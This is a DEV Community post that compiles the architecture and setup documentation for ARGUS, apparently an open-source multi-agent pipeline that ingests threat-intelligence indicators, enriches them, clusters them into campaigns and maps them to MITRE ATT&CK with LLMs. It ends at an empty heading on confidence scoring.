DEV Community: Ahmed El euch

ARGUS - Autonomous Threat Intelligence Pipeline

Ahmed El euch — Fri, 31 Jul 2026 10:05:48 +0000

[!IMPORTANT]
About this Manual: This document is the definitive master guide for the ARGUS platform. It aggregates all architectural deep-dives, API specifications, multi-agent pipeline designs, and frontend systems into a single navigable resource.

📑 Table of Contents

Part 1: Project Overview & Vision
- Readme
- Project
- Project Vision And Problem Solved
Part 2: Core Architecture & Pipeline
- 01 Pipeline And Multi Agent System
- 02 Ingestion And Stix Normalization
- 03 Multi Source Enrichment And Scoring
- 04 Vector Indexing And Campaign Clustering
- 05 Graph Database And Infrastructure Mapping
- 06 Llm Mitre Attack Mapping Engine
- 07 Narrative Generation Prediction And Feedback
Part 3: Infrastructure & Backend
- 08 Fastapi Backend And Realtime Streaming
- 10 Devops Docker And Infrastructure
- 12 Backend Extensions
Part 4: Frontend & UI Systems
- 09 Frontend Dashboard And Visualization
- 10 Frontend Architecture
- 11 Frontend Pages
- 14 Design System
Part 5: Technical Contracts
- 05 Data Contracts
- 07 Implementation Contracts
- 08 Wow Additions

Part 1: Project Overview & Vision

Extracted from: README.md

ARGUS - Autonomous Threat Intelligence Pipeline 📄

Agentic Reasoning for Global Unified Security Intelligence

ARGUS is a multi-agent autonomous threat intelligence pipeline that ingests Indicators of Compromise (IOCs) from free threat feeds, enriches them via APIs (VirusTotal, OTX, Shodan), correlates IOCs into campaign clusters using vector similarity (Qdrant) + graph analysis (Neo4j), maps adversary behavior to MITRE ATT&CK techniques using LLMs, predicts the adversary's next kill-chain phase, and self-validates those predictions.

Architecture

Feeds -> Ingestor -> Enrichment -> Correlation -> MITRE Mapping -> Narrative -> Feedback
  |          |            |             |               |              |           |
  +---- Redis Streams (inter-agent messaging) -------------------------------+
  |
  +---- PostgreSQL (IOCs, Campaigns, Reports, Agent State)
  +---- Neo4j (Campaign Graph)
  +---- Qdrant (Vector Embeddings)

Quickstart

Prerequisites

Docker & Docker Compose
API keys: VirusTotal, OTX, Groq (Groq or Ollama for AI features)

Setup

## 1. Copy and configure environment 📄
cp .env.example .env
## Edit .env with your API keys 📄

## 2. Generate a secure API key (for dashboard access) 📄
python -c "import secrets; print(secrets.token_urlsafe(32))"
## Set ARGUS_API_KEY in .env 📄

## 3. Start the full stack 📄
make up

## 4. Access the dashboard 📄
open http://localhost:5173

Getting your API key

After starting ARGUS, open the dashboard and click Settings (gear icon, bottom-left) → Your API Key → Generate. You'll get a key in argus_<hex> format.

Then use it from any code:

curl -H "X-API-Key: argus_..." http://localhost:8000/iocs

See SETUP.md for Python, Node.js, and PowerShell examples.

Key hierarchy

Key	Where	Purpose
Personal key	Dashboard Settings → Generate	Programmatic access, CI/CD
Account key	Account → API Keys	Per-user keys with tracking (requires sign-in)
Master key	`.env` `ARGUS_API_KEY`	Server admin, first-time setup
JWT token	Login response	Dashboard session

Makefile Targets

Command	Description
`make up`	Start full stack with Docker Compose
`make up-dev`	Start API + workers + frontend only
`make up-low-mem`	Start with low-memory overrides
`make up-prod`	Start with production overrides
`make down`	Stop all services
`make setup`	Install Python + Node dependencies
`make test`	Run all tests
`make lint`	Run linter
`make typecheck`	Run mypy type checker
`make backup`	Run database backup
`make ui`	Start frontend dev server

Services

Service	Port	Description
Frontend (React)	5173	Dashboard UI
API (FastAPI)	8000	REST + WebSocket API
Redis	6379	Message broker + cache
PostgreSQL	5432	Relational data
Qdrant	6333/6334	Vector store
Neo4j	7474/7687	Graph database
Prometheus	9090	Metrics collection
Grafana	3000	Dashboards

API Endpoints

Method	Path	Description
GET	`/health`	Service health check
GET	`/iocs`	List IOCs (paginated)
GET	`/iocs/{id}`	Get IOC by ID
GET	`/campaigns`	List campaigns
GET	`/campaigns/{id}`	Get campaign + IOCs + prediction
GET	`/campaigns/{id}/graph`	Campaign graph data
GET	`/reports`	List threat reports
GET	`/reports/{id}/pdf`	Download report as PDF
GET	`/mitre/heatmap`	MITRE ATT&CK heatmap
GET	`/agents/health`	Agent health status
GET	`/metrics/summary`	Dashboard summary metrics
GET	`/feeds`	List threat feeds
POST	`/feeds/trigger/{name}`	Trigger feed ingestion
POST	`/feeds/pause/{name}`	Pause a feed
POST	`/feeds/resume/{name}`	Resume a feed
WS	`/ws/live-feed`	Live IOC feed stream

Authentication: set ARGUS_API_KEY in .env and pass it as X-API-Key header or Authorization: Bearer <key>.

Production Deployment

For production, use the production override:

## 1. Generate strong passwords 📄
REDIS_PASSWORD=$(python -c "import secrets; print(secrets.token_urlsafe(32))")
POSTGRES_PASSWORD=$(python -c "import secrets; print(secrets.token_urlsafe(32))")
ARGUS_API_KEY=$(python -c "import secrets; print(secrets.token_urlsafe(32))")

## 2. Export and start 📄
export REDIS_PASSWORD POSTGRES_PASSWORD GRAFANA_ADMIN_PASSWORD NEO4J_AUTH ARGUS_API_KEY
make up-prod

The production override:

Closes all database ports (not exposed to host)
Removes --reload and live volume mounts
Sets ENVIRONMENT=production
Use Traefik or Nginx with Let's Encrypt for TLS termination

Project Structure

argus/
  agents/         # 7 autonomous Celery agents
  api/            # FastAPI application + routers
  config.py       # Pydantic settings (env vars)
  correlation/    # Qdrant vector indexer
  enrichment/     # API client wrappers
  feeds/          # Threat feed parsers
  frontend/       # React SPA
  llm/            # LLM router + prompt templates
  models/         # SQLAlchemy ORM models
  monitoring/     # Prometheus metrics
  normaliser/     # STIX 2.1 normalization
  reporting/      # PDF report generation
  schemas/        # Pydantic schemas
  storage/        # DB clients (Redis, Postgres, Neo4j)

tests/            # Unit + integration tests
scripts/          # Utility scripts
data/             # Grafana dashboards, Prometheus config

License

MIT

Extracted from: PROJECT.md

PROJECT: ARGUS — Agentic Threat Intelligence Platform 📄

Overview

ARGUS is a fully autonomous, AI-powered threat intelligence pipeline that ingests indicators of compromise (IOCs) from multiple open-source threat feeds, enriches them with external intelligence, correlates them into campaigns, maps them to the MITRE ATT&CK framework using LLMs, generates human-readable threat reports, and serves a real-time operational dashboard.

The system is designed to run as a self-contained Docker deployment with no external dependencies beyond free API keys (VirusTotal Community, OTX, Groq, etc.).

Architecture

┌─────────────┐    ┌──────────────┐    ┌──────────────┐    ┌─────────────┐    ┌────────────┐    ┌──────────┐
│  Threat     │───▶│  Enrichment  │───▶│  Correlation │───▶│   MITRE     │───▶│  Narrative │───▶│  Threat  │
│  Feeds      │    │  (VT, OTX,   │    │  (Qdrant +   │    │  Mapping   │    │  (LLM)     │    │  Reports │
│  (7 feeds)  │    │   Shodan...) │    │   Neo4j)     │    │  (LLM)     │    │            │    │          │
└─────────────┘    └──────────────┘    └──────────────┘    └─────────────┘    └────────────┘    └──────────┘
       ▼                  ▼                   ▼                  ▼                ▼                ▼
  stream:raw         stream:            stream:             stream:           stream:           stream:
  _iocs              enriched_iocs      correlation_        mitre_            threat_reports    community_
                                        hypotheses          annotated                           review

Pipeline Stages

Ingestion (ingestor.py) — Polls 7 external threat feeds every 60 seconds, normalizes IOCs to STIX 2.1, deduplicates, and publishes to Redis stream.
Enrichment (enrichment.py) — Consumes raw IOCs, queries external APIs in parallel (VirusTotal, OTX, Shodan, URLhaus, MalwareBazaar, CIRCL CVE), computes confidence scores, geo-locates IPs.
Vector Indexing (vector_indexer.py) — Creates 384-dimension sentence embeddings via all-MiniLM-L6-v2 and indexes IOCs in Qdrant for semantic similarity search.
Correlation (correlation.py) — Consumes enriched IOCs, queries Qdrant for similar IOCs, creates campaigns or merges IOCs into existing campaigns. Links IOCs to campaigns in PostgreSQL, Qdrant, and Neo4j. Updates campaign aggregate fields (ioc_count, confidence, timestamps, malware family).
MITRE Mapping (mitre_mapping.py) — Consumes correlation hypotheses, fetches campaign IOCs, builds a prompt with the full MITRE ATT&CK v15 reference, calls Groq LLM to map observed behaviors to ATT&CK techniques, validates techniques, updates campaign with MITRE data.
Threat Narrative (threat_narrative.py) — Consumes MITRE annotations, builds a kill-chain timeline from Neo4j, calls Groq LLM to generate executive summaries and technical narratives, creates threat reports with STIX 2.1 format, generates predictions about future attack phases.
Publication (publication_worker.py) — Publishes ready reports and IOCs every 5 minutes.

AI Agents

Agent ID	Name	Role	LLM Used
`ingestor_agent`	IngestorAgent	Feed polling & IOC normalization	None
`enrichment_agent`	EnrichmentAgent	Multi-source enrichment & confidence scoring	None
`correlation_agent`	CorrelationAgent	Semantic similarity clustering & campaign creation	Sentence Transformers (MiniLM)
`mitre_mapping_agent`	MITREMappingAgent	ATT&CK v15 technique identification	Groq (LLaMA-3.1 8B/70B)
`threat_narrative_agent`	ThreatNarrativeAgent	Report generation & kill-chain analysis	Groq (LLaMA-3.1 8B/70B)
`feedback_learning_agent`	FeedbackLearningAgent	Self-improvement from prediction outcomes	Groq (LLaMA-3.1 70B)
`orchestrator_agent`	OrchestratorAgent	Health monitoring, auto-scaling, A/B testing	None

Agents report health via periodic heartbeat to the agent_state table. The orchestrator monitors stream depths, feed failures, token budgets, and community review queues.

Data Stores

Service	Role	Port
PostgreSQL 16	IOCs, campaigns, reports, agents, users, API keys	5432
Redis 7	Stream bus (Celery), dedup cache, rate limiting	6379
Qdrant 1.9	Vector similarity search (384-dim embeddings)	6333
Neo4j 5	IOC-campaign graph, infrastructure relationships	7687
Prometheus	Metrics collection	9090
Grafana	Operational dashboards	3000

Threat Feeds

Feed	Type	URL
OTX (AlienVault)	REST	otx.alienvault.com
ThreatFox (abuse.ch)	REST	threatfox-api.abuse.ch
URLhaus (abuse.ch)	REST	urlhaus-api.abuse.ch
Feodo Tracker (abuse.ch)	REST	feodotracker.abuse.ch
CISA KEV	REST	cisa.gov
MISP CIRCL	REST	circl.lu
MalwareBazaar (abuse.ch)	REST	mb-api.abuse.ch

Frontend Dashboard

A React + Vite SPA served via nginx. Features:

Threat Globe: 3D geographic visualization of IOC origins
Live Feed: Real-time WebSocket stream of incoming IOCs
Metrics Dashboard: IOC counts, confidence trends, malware top-list, type breakdowns, time-series charts
Campaigns: AI-generated campaign clusters with MITRE technique heatmaps
Reports: LLM-generated threat intelligence reports with kill-chain timelines, predictions, and mitigations
Command Palette: Quick navigation (Ctrl+K)
Settings: API key generation/management, account settings
Onboarding: Guided setup wizard

The dashboard authenticates via X-API-Key header or JWT Bearer token.

API

FastAPI backend on port 8000. Key endpoints:

Method	Path	Description
GET	`/health`	Service health check
GET	`/iocs`	List/filter IOCs
GET	`/iocs/{id}`	Single IOC detail
GET	`/campaigns`	List campaigns with MITRE data
GET	`/campaigns/{id}`	Campaign detail + graph
GET	`/reports`	List threat reports
GET	`/reports/{id}/pdf`	Download report as PDF
GET	`/metrics/summary`	Dashboard top-level stats
GET	`/metrics/timeseries`	Time-series IOC data
GET	`/metrics/breakdown`	IOC type breakdown
GET	`/metrics/confidence-trend`	Confidence trend chart
GET	`/metrics/malware-top`	Top 10 malware families
GET	`/geo/heatmap`	Geographic IOC distribution
GET	`/mitre/heatmap`	Campaign MITRE technique heatmap
GET	`/agents/health`	Agent fleet status & stream depths
POST	`/feeds/trigger/{name}`	Manually trigger a feed
POST	`/feeds/pause/{name}`	Pause a feed
POST	`/feeds/resume/{name}`	Resume a feed
POST	`/auth/register`	Create user account
POST	`/auth/login`	Get JWT token
GET	`/account/api-keys`	List/manage API keys

Configuration

All configuration via .env file. Key settings:

ARGUS_API_KEY=...          # Master API key for dashboard auth
GROQ_API_KEY=...           # LLM inference (free tier: ~30 req/min)
VIRUSTOTAL_API_KEY=...     # VirusTotal Community (500 req/day)
OTX_API_KEY=...            # AlienVault OTX
THREATFOX_API_KEY=...      # abuse.ch (shared across ThreatFox/URLhaus/MalwareBazaar)
CAMPAIGN_MERGE_SIMILARITY_THRESHOLD=0.55  # Cosine similarity for campaign merging
CONFIDENCE_ESCALATION_THRESHOLD=0.65      # Below this → community review
GROQ_TOKEN_BUDGET_PER_MINUTE=12000        # LLM token budget cap

Deployment

## Copy env template and configure API keys 📄
cp .env.example .env
## Build and launch all 11 services 📄
docker compose up -d --build
## Check everything is healthy 📄
curl http://localhost:8000/health
## Dashboard at http://localhost:5173 📄

Services start in dependency order: Redis → Postgres → Qdrant → Neo4j → API → Workers → Beat → Frontend.

Extracted from: docs/PROJECT_VISION_AND_PROBLEM_SOLVED.md

ARGUS: Project Vision, Problem Statement & Solution Overview 📄

1. Project Philosophy & Vision

ARGUS (Agentic Reasoning for Global Unified Security Intelligence) is an autonomous, multi-agent cyber threat intelligence (CTI) pipeline designed to bridge the gap between raw threat indicators and actionable executive security strategy.

Named after the mythical hundred-eyed giant watchman of Greek mythology, ARGUS maintains continuous surveillance over the open threat landscape. It transforms vast streams of unrefined Indicators of Compromise (IOCs)—IP addresses, file hashes, domains, URLs, and vulnerability IDs—into high-confidence, contextualized threat intelligence campaigns, automated kill-chain phase predictions, and executive-ready reports without human intervention.

2. The SOC & SecOps Crisis: Problems Solved by ARGUS

Traditional Security Operations Centers (SOCs) and Threat Intelligence Teams face systemic operational challenges that slow down incident response and increase organization vulnerability:

1. Alert Fatigue & Noise

The Challenge: Modern SOCs ingest tens of thousands of raw IOCs daily from open-source intelligence (OSINT), commercial feeds, and internal sensors. Over 80% of these alerts are noisy, duplicate, or stale.
ARGUS Solution: Autonomous real-time deduplication using Redis key-space hashes combined with STIX 2.1 normalization. ARGUS filters out noise before downstream processing.

2. Manual & Fragmented Enrichment

The Challenge: Analysts must manually query multiple external enrichment platforms (VirusTotal, AlienVault OTX, Shodan, URLhaus, CIRCL CVE) to evaluate an indicator's severity. This consumes critical time during active attacks.
ARGUS Solution: EnrichmentAgent executes parallel, asynchronous API queries across 6+ OSINT sources, computes dynamic confidence scores, and geo-locates IP targets automatically within milliseconds.

3. Disconnected Indicators (Lack of Campaign Context)

The Challenge: Viewing IOCs as isolated data points prevents security teams from identifying coordinated threat actor campaigns or persistent threats across infrastructure.
ARGUS Solution: CorrelationAgent uses Qdrant vector database with 384-dimensional sentence transformer embeddings (all-MiniLM-L6-v2) and Neo4j graph databases to cluster related IOCs into unified threat campaign clusters based on semantic and behavioral similarity.

4. Delayed Behavior Identification & MITRE Mapping

The Challenge: Mapping adversary techniques to the MITRE ATT&CK framework requires deep manual domain expertise and hours of documentation analysis.
ARGUS Solution: MITREMappingAgent utilizes Groq LLaMA-3.1 LLMs with full ATT&CK v15 matrix reference prompts to automatically extract observed TTPs (Tactics, Techniques, and Procedures) and tag campaigns.

5. Reactive Security Posture (Lack of Predictive Analysis)

The Challenge: Traditional CTI tools report what happened, but cannot anticipate what an adversary will do next in the cyber kill chain.
ARGUS Solution: ThreatNarrativeAgent analyzes campaign graph timelines in Neo4j to generate predictive intelligence—hypothesizing the adversary's next likely move (e.g., initial access -> lateral movement -> data exfiltration) and providing proactive mitigations.

6. Static Knowledge & Zero Self-Improvement

The Challenge: Threat intelligence software does not learn from past false positives or incorrect threat predictions.
ARGUS Solution: FeedbackLearningAgent and PredictionValidator monitor actual observed security events against previous AI predictions, self-validating outcome accuracy and dynamically tuning confidence scoring and LLM prompt weights over time.

3. High-Level System Architecture & Flow

ARGUS operates as an event-driven reactive pipeline powered by a fleet of 7 specialized autonomous agents communicating over Redis Streams:

┌────────────────────────────────────────────────────────────────────────────────────────┐
│                                   ARGUS PIPELINE                                      │
└────────────────────────────────────────────────────────────────────────────────────────┘

 [ 7 OSINT Feeds ] ──▶ IngestorAgent ──▶ Redis Stream: raw_iocs
                             │
                             ▼
                    EnrichmentAgent ──▶ Parallel API Queries (VT, OTX, Shodan, etc.)
                             │
                             ▼
                    CorrelationAgent ──▶ Qdrant Vector Store + Neo4j Graph DB
                             │
                             ▼
                  MITREMappingAgent ──▶ Groq LLaMA 3.1 ATT&CK v15 Reasoning
                             │
                             ▼
               ThreatNarrativeAgent ──▶ ReportLab PDF + Kill-Chain Prediction
                             │
                             ▼
             FeedbackLearningAgent ──▶ Ground-Truth Self-Validation & Model Tuning

4. Key Value Proposition & Capabilities

Feature	Legacy SOC / CTI	ARGUS Platform
Ingestion	Manual/Single feed polling	Autonomous polling across 7 feeds every 60s
Data Format	Proprietary CSV/JSON formats	Native STIX 2.1 JSON standardization
Enrichment	Analyst copy-pasting into VT	Automated async multi-source querying & scoring
Clustering	Static IP subnet matching	384-dim Qdrant Vector Embeddings + Neo4j Graph
MITRE ATT&CK	Manual analyst lookup	LLM-driven ATT&CK v15 automated mapping
Reporting	Hours of manual drafting	Instant AI executive summaries & downloadable PDFs
Foresight	Post-incident post-mortems	Next kill-chain phase predictive intelligence
Validation	Static rules	Ground-truth AI self-critique & feedback loops
Visualization	Flat tables	Interactive 3D Threat Globe & MITRE heatmaps

5. Summary

ARGUS transforms threat intelligence from a passive repository of static indicators into an active, self-learning autonomous engine. It frees SOC teams from repetitive manual lookup tasks, allowing defenders to operate at machine speed against sophisticated cyber threat actors.

Part 2: Core Architecture & Pipeline

Extracted from: docs/architecture/01_PIPELINE_AND_MULTI_AGENT_SYSTEM.md

Technical Architecture 01: Multi-Agent System & Reactive Pipeline 📄

1. Executive Summary

The ARGUS core engine is designed as a multi-agent, event-driven reactive pipeline. Rather than relying on monolithic execution or monolithic cron scripts, ARGUS breaks threat intelligence processing down into specialized, autonomous AI agents managed via Celery worker pools and Redis Streams.

2. Event-Driven Messaging Architecture (Redis Streams)

Inter-agent communication relies on Redis Streams (redis-py), which act as a durable, asynchronous message bus. This decouples agents from one another, enabling independent scaling, backpressure management, and stream replay capabilities.

Redis Stream Topology

                  ┌────────────────────┐
                  │   IngestorAgent    │
                  └─────────┬──────────┘
                            │ Stream: raw_iocs
                            ▼
                  ┌────────────────────┐
                  │  EnrichmentAgent   │
                  └─────────┬──────────┘
                            │ Stream: enriched_iocs
                            ▼
                  ┌────────────────────┐
                  │  CorrelationAgent  │
                  └─────────┬──────────┘
                            │ Stream: correlation_hypotheses
                            ▼
                  ┌────────────────────┐
                  │ MITREMappingAgent  │
                  └─────────┬──────────┘
                            │ Stream: mitre_annotated
                            ▼
                  ┌────────────────────┐
                  │ThreatNarrativeAgent│
                  └─────────┬──────────┘
                            │ Stream: threat_reports
                            ▼
                  ┌────────────────────┐
                  │ PublicationWorker  │
                  └────────────────────┘

Stream Definitions & Message Payloads

| Stream Name | Producer Agent | Consumer Agent | Payload Description |
|-------------|────────────────|────────────────|─────────────────────|
| stream:raw_iocs | IngestorAgent | EnrichmentAgent | Raw normalized STIX 2.1 IOC objects |
| stream:enriched_iocs | EnrichmentAgent | CorrelationAgent | IOCs enriched with VT, OTX, Shodan data & score |
| stream:correlation_hypotheses | CorrelationAgent | MITREMappingAgent | Created/Updated campaign cluster metadata |
| stream:mitre_annotated | MITREMappingAgent | ThreatNarrativeAgent | Campaigns mapped with MITRE ATT&CK v15 techniques |
| stream:threat_reports | ThreatNarrativeAgent | PublicationWorker | Generated PDF reports, summaries & predictions |

3. Autonomous Agent Fleet Overview

ARGUS deploys 7 primary Celery agents defined under argus/agents/:

argus/agents/
├── ingestor.py             # IngestorAgent
├── enrichment.py           # EnrichmentAgent
├── correlation.py          # CorrelationAgent
├── mitre_mapping.py        # MITREMappingAgent
├── threat_narrative.py     # ThreatNarrativeAgent
├── feedback_learning.py    # FeedbackLearningAgent
├── prediction_validator.py # PredictionValidator
├── orchestrator.py         # OrchestratorAgent
├── campaign_cleaner.py     # CampaignCleaner
├── ioc_decay.py            # IOCDecayWorker
└── publication_worker.py   # PublicationWorker

Agent Roles & Specifications

IngestorAgent (ingestor.py):
- Periodically polls 7 OSINT threat feeds every 60 seconds.
- Normalizes feed data into STIX 2.1 JSON schema.
- Deduplicates using Redis key-space hashes (ioc:dedup:<hash>).
- Pushes non-duplicate IOCs to stream:raw_iocs.
EnrichmentAgent (enrichment.py):
- Consumes messages from stream:raw_iocs.
- Executes async API calls to VirusTotal, AlienVault OTX, Shodan, URLhaus, MalwareBazaar, and CIRCL CVE.
- Resolves IP geolocation via MaxMind / IP-API.
- Computes composite confidence scores (0.0 to 1.0) and publishes to stream:enriched_iocs.
CorrelationAgent (correlation.py):
- Consumes stream:enriched_iocs.
- Generates 384-dimensional vector embeddings using all-MiniLM-L6-v2.
- Performs cosine similarity queries against Qdrant vector database.
- Merges IOC into existing campaigns if similarity exceeds threshold (CAMPAIGN_MERGE_SIMILARITY_THRESHOLD = 0.55) or creates a new campaign.
- Writes relationships into Neo4j graph DB and emits to stream:correlation_hypotheses.
MITREMappingAgent (mitre_mapping.py):
- Consumes stream:correlation_hypotheses.
- Formulates prompts containing observed campaign behaviors and full MITRE ATT&CK v15 matrix reference.
- Calls Groq LLM (LLaMA-3.1-8B/70B) to identify sub-techniques.
- Escalates low-confidence mappings (< 0.65) to community review queue; publishes high-confidence mappings to stream:mitre_annotated.
ThreatNarrativeAgent (threat_narrative.py):
- Consumes stream:mitre_annotated.
- Extracts kill-chain timeline graphs from Neo4j.
- Invokes Groq LLM to draft executive summaries, technical narratives, and predictive next-phase attack hypotheses.
- Generates downloadable PDF reports via ReportLab and publishes to stream:threat_reports.
FeedbackLearningAgent & PredictionValidator (feedback_learning.py, prediction_validator.py):
- Audits actual incoming threat events against past predictive hypotheses.
- Evaluates prediction accuracy (Precision, Recall, True Positives).
- Adjusts confidence weightings and system parameters dynamically over time.
OrchestratorAgent (orchestrator.py):
- System supervisor monitoring Redis stream backlog depths, agent heartbeats, API token budgets, and worker health.
- Dynamically scales Celery worker allocation and triggers maintenance cycles.

4. Agent Health & Heartbeat Architecture

Each agent reports status every 15 seconds to the PostgreSQL agent_state table:

CREATE TABLE agent_state (
    agent_id VARCHAR(64) PRIMARY KEY,
    agent_name VARCHAR(128) NOT NULL,
    status VARCHAR(32) NOT NULL, -- "running", "degraded", "stopped"
    last_heartbeat TIMESTAMP WITH TIME ZONE NOT NULL,
    metrics JSONB DEFAULT '{}'::jsonb
);

If last_heartbeat exceeds 60 seconds, OrchestratorAgent flags the agent as degraded or dead and triggers alerting endpoints in the API (/agents/health).

5. Resilience, Fault Tolerance & Retries

Redis Stream Consumer Groups: Every agent runs within a dedicated consumer group. Unacknowledged messages (XPENDING) are automatically re-claimed if a worker process crashes mid-execution.
Backpressure Handling: If stream backlog depth exceeds 10,000 items, OrchestratorAgent pauses non-critical feeds and increases worker concurrency.
Graceful Error Handling: API key rate limits and external service timeouts trigger exponential backoff retry loops without blocking downstream pipeline operations.

Extracted from: docs/architecture/02_INGESTION_AND_STIX_NORMALIZATION.md

Technical Architecture 02: Ingestion & STIX 2.1 Normalization 📄

1. Executive Summary

Data ingestion forms the foundational entry point of the ARGUS threat intelligence pipeline. The IngestorAgent autonomously polls 7 public threat intelligence feeds every 60 seconds, parses diverse raw data formats (JSON, CSV, Plaintext), normalizes indicators into standard STIX 2.1 (Structured Threat Information eXpression) objects, deduplicates them, and streams them downstream.

2. Ingested Threat Intelligence Feeds

ARGUS integrates 7 free open-source threat intelligence feeds without requiring expensive enterprise subscriptions:

Feed Name	Source Provider	Data Format	Target Threat Types
AlienVault OTX	AlienVault	REST JSON	Malicious IPs, Hashes, Domains, URLs
ThreatFox	abuse.ch	REST JSON	Hashes, Malicious URLs, Botnet IPs
URLhaus	abuse.ch	CSV / JSON	Malicious Phishing & Malware URLs
Feodo Tracker	abuse.ch	JSON	Dridex, TrickBot, QakBot C2 Botnet IPs
CISA KEV	CISA	JSON	Known Exploited Vulnerabilities (CVEs)
MISP CIRCL	CIRCL	REST JSON	Threat Actor OSINT & Malware IOCs
MalwareBazaar	abuse.ch	REST JSON	Fresh Malware Samples & SHA-256 Hashes

3. Data Processing & Pipeline Stages

┌─────────────────┐     ┌─────────────────────┐     ┌───────────────────────┐
│ External Feeds  │───▶ │ Parsers (feeds/)    │───▶ │ STIX 2.1 Normalizer   │
│ (7 Sources)     │     │ Extract Raw Tokens  │     │ (normaliser/stix.py)  │
└─────────────────┘     └─────────────────────┘     └──────────┬────────────┘
                                                               │
                                                               ▼
┌─────────────────┐     ┌─────────────────────┐     ┌───────────────────────┐
│ Redis Stream    │ ◀───│ Redis Key-Space     │ ◀───│ Schema Validation     │
│ (stream:raw_iocs)│     │ Dedup Check         │     │ (schemas/ioc.py)      │
└─────────────────┘     └─────────────────────┘     └───────────────────────┘

4. Feed Parser Architecture

Feeds are defined under argus/feeds/. Each parser inherits from an abstract base class BaseFeedParser:

class BaseFeedParser(ABC):
    @abstractmethod
    async def fetch(self) -> List[Dict[str, Any]]:
        """Fetch raw payload from feed HTTP endpoint"""
        pass

    @abstractmethod
    def parse(self, raw_data: List[Dict[str, Any]]) -> List[RawIOC]:
        """Parse raw feed payload into intermediate RawIOC schema"""
        pass

Supported Indicator Types (`IOCType` Enum)

ipv4 / ipv6 (IP Addresses)
domain (Domain Names)
url (Uniform Resource Locators)
md5 / sha1 / sha256 (Cryptographic File Hashes)
cve (Common Vulnerabilities and Exposures)

5. STIX 2.1 Normalization Standard

To eliminate data format fragmentation, ARGUS converts every ingested indicator into official STIX 2.1 JSON specifications (argus/normaliser/stix.py).

STIX 2.1 Domain Object Mapping

{
  "type": "indicator",
  "spec_version": "2.1",
  "id": "indicator--8e2e2d80-162d-4ba2-bc57-08138b61b36d",
  "created": "2026-07-23T14:00:00.000Z",
  "modified": "2026-07-23T14:00:00.000Z",
  "name": "Malicious IP 192.0.2.1",
  "indicator_types": ["malicious-activity"],
  "pattern": "[ipv4-addr:value = '192.0.2.1']",
  "pattern_type": "stix",
  "valid_from": "2026-07-23T14:00:00.000Z",
  "confidence": 50,
  "external_references": [
    {
      "source_name": "Feodo Tracker",
      "url": "https://feodotracker.abuse.ch"
    }
  ]
}

6. High-Performance Deduplication Mechanism

Threat feeds frequently contain duplicate indicators. To avoid processing redundant indicators through resource-heavy enrichment and LLM modules, ARGUS employs a dual-stage deduplication protocol:

1. Redis Key-Space Deduplication

Before adding an IOC to the pipeline, IngestorAgent hashes the canonical indicator representation (sha256(type:value)):

dedup_key = f"ioc:dedup:{hash_val}"
is_new = await redis_client.set(dedup_key, "1", nx=True, ex=86400) # 24hr TTL

If set(..., nx=True) returns None, the IOC was already processed in the last 24 hours and is instantly skipped.

2. Database Constraint Check

In PostgreSQL, the iocs table enforces a unique compound index on (type, value). If a duplicate bypasses Redis cache expiry, PostgreSQL handles conflict resolution via ON CONFLICT DO UPDATE to bump the indicator's last_seen timestamp and sighting_count.

7. Fault Tolerance & Feed Controls

Circuit Breakers: If a feed fails 3 consecutive HTTP calls (e.g., 500 Server Error), the parser enters a 15-minute cooldown state to prevent resource starvation.
Feed Management APIs: Feed execution can be paused, resumed, or manually triggered via API endpoints:
- POST /feeds/trigger/{name}
- POST /feeds/pause/{name}
- POST /feeds/resume/{name}

Extracted from: docs/architecture/03_MULTI_SOURCE_ENRICHMENT_AND_SCORING.md

Technical Architecture 03: Multi-Source Threat Enrichment & Confidence Scoring 📄

1. Executive Summary

Raw indicators (e.g., an IP address or file hash) lack actionable security context. The EnrichmentAgent automatically transforms unrefined IOCs into enriched threat intelligence objects by querying external APIs in parallel, identifying geolocation metadata, and calculating a composite confidence score.

2. Enrichment Services & Clients

Enrichment services reside under argus/enrichment/. Each integration operates as an asynchronous client wrapper:

                      ┌───────────────────────┐
                      │    EnrichmentAgent    │
                      └───────────┬───────────┘
                                  │ Async Task Gathering
        ┌─────────────────────────┼─────────────────────────┐
        ▼                         ▼                         ▼
┌───────────────┐         ┌───────────────┐         ┌───────────────┐
│  VirusTotal   │         │ AlienVault OTX│         │    Shodan     │
│ Client        │         │ Client        │         │ Client        │
└───────────────┘         └───────────────┘         └───────────────┘
        │                         │                         │
        ▼                         ▼                         ▼
┌───────────────┐         ┌───────────────┐         ┌───────────────┐
│   URLhaus     │         │ MalwareBazaar │         │   CIRCL CVE   │
│ Client        │         │ Client        │         │ Client        │
└───────────────┘         └───────────────┘         └───────────────┘

Integration Matrix

Service	Client File	Data Extracted	Target IOC Types
VirusTotal Community	virustotal_client.py	Detection ratios, engine tags, malicious classification	Hashes, IPs, Domains, URLs
AlienVault OTX	otx_client.py	Pulse count, related malware families, adversary tags	All IOC Types
Shodan	shodan_client.py	Open ports, running banners, ASN, vulnerabilities	IPs
URLhaus	urlhaus_client.py	URL status, hosting payload, threat tags	URLs, Domains
MalwareBazaar	malwarebazaar_client.py	Signature name, file type, YARA matches, delivery method	Hashes
CIRCL CVE	circl_cve_client.py	CVSS score, summary, attack vector, CWE classification	CVEs
GeoIP Engine	geoip.py	Latitude, Longitude, Country Code, City, ISP	IPs

3. Asynchronous Multi-Query Engine

Enrichment queries are executed using asyncio.gather(*tasks) over httpx.AsyncClient. This architecture guarantees that querying 6 external APIs takes no longer than the slowest single API response (typically < 1.2 seconds), avoiding sequential bottleneck delays.

async def enrich_ioc(self, ioc: IOC) -> Dict[str, Any]:
    tasks = [
        self.vt_client.query(ioc),
        self.otx_client.query(ioc),
        self.shodan_client.query(ioc),
        self.geoip_engine.locate(ioc)
    ]
    results = await asyncio.gather(*tasks, return_exceptions=True)
    return self.aggregate_enrichment(ioc, results)

4. Geolocation Engine (`geoip.py`)

For IP indicators (ipv4, ipv6), geoip.py determines physical geographic origin:

Primary Lookup: Local MaxMind GeoLite2 binary database (.mmdb) for offline zero-latency resolution.
Fallback Lookup: HTTP REST queries to ip-api.com or ipinfo.io if local database files are unmounted.
Data Emitted: Latitude, longitude, country code (ISO-2), country name, city, and Autonomous System Number (ASN).

This data directly feeds the 3D Threat Globe visualizer on the frontend dashboard.

5. Rate Limiting & Token Budget Management

External CTI APIs enforce strict request quotas (e.g., VirusTotal free tier is capped at 4 requests/min, 500 requests/day). ARGUS manages these constraints using:

Redis Token Bucket Limiter (rate_limiter.py): Enforces per-minute call limits using Redis sliding window algorithms.
Global Budget Pool (budget_pool.py): Tracks daily token consumption per API key. If a budget exhausts, queries to that provider are gracefully disabled without failing the enrichment pipeline.

6. Composite Confidence Scoring Algorithm

